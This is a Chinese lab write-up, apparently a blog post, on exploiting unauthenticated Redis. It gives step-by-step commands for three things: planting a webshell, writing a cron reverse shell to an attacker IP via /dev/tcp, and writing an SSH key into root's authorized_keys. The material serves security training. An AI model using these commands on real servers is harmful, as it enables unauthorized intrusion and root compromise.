Redis未授权访问
Redis未授权访问
试验地址
实验步骤
1. redis创建shell文件
-
首先先下载工具包
wget http://tools.hetianlab.com/tools/RedisUnauthorized.zip
-
解压
unzip RedisUnauthorized.zip
-
tar -zxvf redis-6.0.3.tar.gz
-
移动到redis文件夹下,
make
-
移动到
/redis/src
将redis-cli复制到/usr/bin
目录下cp redis-cli /usr/bin
-
nmap扫描目标
nmap -sS -Pn -p- -T4 10.1.1.200
-
发现端口22,80,5902,6002,6379
- 使用dirsearch扫描敏感目录
敏感信息泄漏
- 连接靶机redis,发现存在未授权访问``
- 上传一句话木马
- 使用蚁剑连接
2. redis写定时任务反弹shell
- Kali使用nc开启监听
nc -lvvp 4444
- 设置写入的内容,在计划任务前后加入换行(\n)以确保写入的计划任务可以被正常解析,每分钟执行一次/bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1
set xx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.100:4444 0>&1\n\n"
- 设置备份路径
config set dir /var/spool/cron
- 设置备份文件名
config set dbfilename root
save
成功获取shell
3. redis写入ssh公钥获取shell
-
生成公钥
ssh-keygen -t rsa
-
将公钥写入foo.txt文件,前后用\n换行,避免和Redis其他缓存数据混合
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
-
将foo.txt写靶机
cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set sshkey
-
设置备份路径
config set dir /root/.ssh/
-
设置上传公钥的备份文件名字为**authorized_keys **
config set dbfilename "authorized_keys"
-
save
-
ssh root@10.1.1.200 -i /root/.ssh/id_rsa
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 没有源码,如何修改代码逻辑?
· 一个奇形怪状的面试题:Bean中的CHM要不要加volatile?
· [.NET]调用本地 Deepseek 模型
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· .NET Core 托管堆内存泄露/CPU异常的常见思路
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· 没有源码,如何修改代码逻辑?
· NetPad:一个.NET开源、跨平台的C#编辑器
· PowerShell开发游戏 · 打蜜蜂
· 凌晨三点救火实录:Java内存泄漏的七个神坑,你至少踩过三个!